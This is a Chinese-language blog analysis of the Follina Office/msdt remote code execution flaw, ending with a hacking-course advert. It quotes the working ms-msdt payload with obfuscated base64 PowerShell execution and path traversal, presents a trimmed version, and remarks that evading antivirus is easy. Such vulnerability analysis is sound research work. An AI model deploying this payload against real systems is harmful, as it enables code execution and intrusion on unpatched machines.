前言
看推特发了了一个好玩的office rce。最早应该是起源于nao_sec的推特
然后又发现了一篇分析文章。
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
接着poc也有了 https://github.com/chvancooten/follina.py
本文依托于poc看一下这个office rce
分析
python .follina.py -m command -c calc
查看python源码,逻辑是向word_relsdocument.xml.rels
写一个远程模板地址
钓过鱼的都知道这个是远程模板,接着会写入一个wwwexploit.html
,这个文件中的关键代码只有一行js
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"";
跳了一个ms-msdt:/
伪协议,ms系列是office注册的协议,你可以在设置-应用-默认应用-按协议指定默认应用
跳了一个ms-msdt:/
伪协议,ms系列是office注册的协议,你可以在设置-应用-默认应用-按协议指定默认应用中找到对应的伪协议和所启动的应用。
ms-msdt协议没在这里找到,可以从注册表中找到
command是"%SystemRoot%system32msdt.exe" %1
msdt.exe 是微软支持诊断工具,微软对其有官方文档
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt
参数如图
此时回头来看exploit.html,其命令如下
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
/id PCWDiagnostic
表示运行PCWDiagnostic诊断包,除此以外还有其他的诊断包
C:Windowsdiagnosticsindex
对应的程序目录在C:Windowsdiagnosticssystem
不同的诊断包兼容性不一样,具体兼容版本看微软文档 available-troubleshooting-packs#available-troubleshooting-packs)
/skip force
文档没提,不过实际测试加不加都可以弹计算器,字面意思应该是强制跳过,无所谓,而且IT_RebrowseForFile不加也可以,所以精简下来的payload如下
/param "IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
这部分通过param参数应该是继续向运行PCWDiagnostic诊断包时传递了三个参数
1.IT_RebrowseForFile
2.IT_LaunchMethod
3.IT_BrowseForFile
这三个参数我在下面两个链接中搜到了一些东西
1.https://lolbas-project.github.io/lolbas/Binaries/Msdt/
2.https://gist.github.com/homjxi0e/3f35212db81b9375b7906031a40c6d87
应该是通过这几个参数可以运行msi程序,但是具体怎么实现的?
这里需要引入微软文档《Writing a Troubleshooting Manifest》
回头看PCWDiagnostic,对应的诊断包程序位于C:WindowsdiagnosticssystemPCW
其中DiagPackage.diagpkg是manifest文件,这些在文档中有。
翻译过来:该部分表示要在故障排除阶段运行的脚本
在Interactions块中是程序交互的参数
其中我们用到的IT_BrowseForFile也在其中
manifest中指定的powershell程序是
C:WindowsdiagnosticssystemPCWTS_ProgramCompatibilityWizard.ps1
此时回头来看payload
代码高亮已经给出答案,当调用ps1脚本时
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))
这段代码会逃逸出来被powershell执行,造成rce
拓展
本着探索精神,想着自己也挖一挖这种洞,于是找了一些其他的伪协议,也就是上文中的ms-officecmd,于是发现了一个dotnet的LocalBridge.exe
经过处理json之后调用LaunchOfficeAppValidated,像是可以运行验证过后的程序。
发现用到了pinvoke调用dll
刚找好兄弟要了一个ida,下载的过程中在搜索ms-officecmd关键字,发现了前人写的文章
1.Abusing the MS Office protocol scheme
2.Windows 10 RCE: The exploit is in the link
两篇文章记录了msoffice协议相关的知识以及通过ms-officecmd协议挖掘Teams、Skype的1click的rce chain,值得一学,但是我进一步挖掘的热情被他们的rce浇灭了。
就这样吧。
后文
通过远程模板location.href跳转的形式,可以拉取msdt调用powershell执行命令,并且绕过了启用编辑
这一大限制,总体来说还是比较牛逼的。
因为参数很多,所以免杀相对好做,防御的话我不是专业的就不说了。
来源:先知(https://xz.aliyun.com/t/6830)
注:如有侵权请联系删除
船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!
欢迎大家加群一起讨论学习和交流
快乐要懂得分享,
才能加倍的快乐。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...